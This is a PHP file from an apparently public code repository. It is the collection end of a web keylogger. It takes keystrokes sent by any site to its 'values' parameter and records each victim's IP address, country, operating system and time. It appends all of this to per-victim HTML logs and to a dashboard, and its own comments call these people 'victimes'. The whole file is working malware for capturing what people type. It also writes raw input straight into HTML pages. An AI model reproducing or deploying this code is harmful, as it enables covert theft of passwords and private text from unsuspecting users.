-
Notifications
You must be signed in to change notification settings - Fork 0
/
log1.php
159 lines (124 loc) · 4.2 KB
/
log1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
<?php
header("Access-Control-Allow-Origin: *");
include "geo/index.php";
if($_GET){
include 'geo/geoip.inc';
include 'os.php';
$gi = geoip_open("geo/GeoIP.dat", "");
$ip = $_SERVER['REMOTE_ADDR'] ;
$date = new DateTime("now", new DateTimeZone('Africa/Dakar') ); //SET YOUR DATETIMEZONE HERE
$d = $date->format('d/m/Y H:i:s');
$country = geoip_country_id_by_addr($gi, $ip);
$flag = '<img src="../../../geo/img/flags/'.strtolower(geoip_country_code_by_addr($gi,$ip)).'.png">';
$flag1 = '<img src="../../../geo/img/flags/'.strtolower(geoip_country_code_by_addr($gi,$ip)).'.png">';
$log = $_GET['values'];
$user_os = getOS();
$curDate = date("d-m-Y");
$directory = "logs/" . $ip . "/" . $curDate;
$myfile = $directory . "/" . $ip . ".html";
// Create logs dir if it not exists
if (!file_exists($directory)) {
mkdir($directory, 0777, true);
}
// creat folder and write all logs in single file html
$directory2 = "dashboard/";
$myfile2 = $directory2 . "logs.html";
// Create logs dir if it not exists
if (!file_exists($directory2)) {
mkdir($directory2, 0777, true);
}
$txt = '
<!DOCTYPE html>
<html>
<head>
<style>
.box1D {
border-radius:5px 5px 5px 5px;
transition: box-shadow 0.2s;
}
.box1D:hover {
box-shadow: 3px 3px 3px 3px #000;
border:solid 0.5px #fff;
border-radius: 10px;
}
.box2D {
border-radius:5px 5px 5px 5px;
transition: box-shadow 0.2s;
}
.box2D:hover {
box-shadow: 3px 3px 3px 3px #000;
border:solid 0.5px #fff;
border-radius: 10px;
}
</style>
<title>view_logs</title>
<link rel="stylesheet" href="../../../bootstrap/css/bootstrap.min.css">
</head>
<body width="600">
<script src="../../../bootstrap/js/jquery-3.2.1.slim.min.js"></script>
<script src="../../../bootstrap/js/popper.min.js"></script>
<script src="../../../bootstrap/js/bootstrap.min.js"></script>
<table class="table table-striped" border="1">
<thead class="thead-dark">
<tr>
<th>IP_DATE_HEURE</th>
<th>CAPTURED_KEYLOGER</th>
</tr>
</thead>
<tbody>
<tr> <th scope="row">'
.$ip.'<br>'.$geoplugin->countryName.' '.$flag.''.$d.'<br>'.$user_os.'</th>
<td width="100%" class="box3D"> '.$log.'
</td> </tr>';
$myfile = fopen($myfile, "a") or die("Unable to open file!");
fwrite($myfile, $txt);
fclose($myfile);
// myfille2 is to write All victimes infos in single html file
$txt2 = '
<!DOCTYPE html>
<html>
<head>
<style>
.box1D {
border-radius:5px 5px 5px 5px;
transition: box-shadow 0.2s;
}
.box1D:hover {
box-shadow: 3px 3px 3px 3px #000;
border:solid 0.5px #fff;
border-radius: 10px;
}
.box2D {
border-radius:5px 5px 5px 5px;
transition: box-shadow 0.2s;
}
.box2D:hover {
box-shadow: 3px 3px 3px 3px #000;
border:solid 0.5px #fff;
border-radius: 10px;
}
</style>
<title>view_logs</title>
<link rel="stylesheet" href="../bootstrap/css/bootstrap.min.css">
</head>
<body width="600">
<script src="../bootstrap/js/jquery-3.2.1.slim.min.js"></script>
<script src="../bootstrap/js/popper.min.js"></script>
<script src="../bootstrap/js/bootstrap.min.js"></script>
<table class="table table-striped" border="1">
<thead class="thead-dark">
<tr>
<th>IP_DATE_HEURE</th>
<th>CAPTURED_KEYLOGER</th>
</tr>
</thead>
<tbody>
<tr> <th scope="row">'
.$ip.'<br>'.$geoplugin->countryName.' '.$flag1.''.$d.'<br>'.$user_os.'</th>
<td width="100%" class="box3D"> '.$log.'
</td> </tr>';
$myfille2 =fopen($myfile2, "a") or die("Unable to open file!");
fwrite($myfille2, $txt2);
fclose($myfille2);
}
?>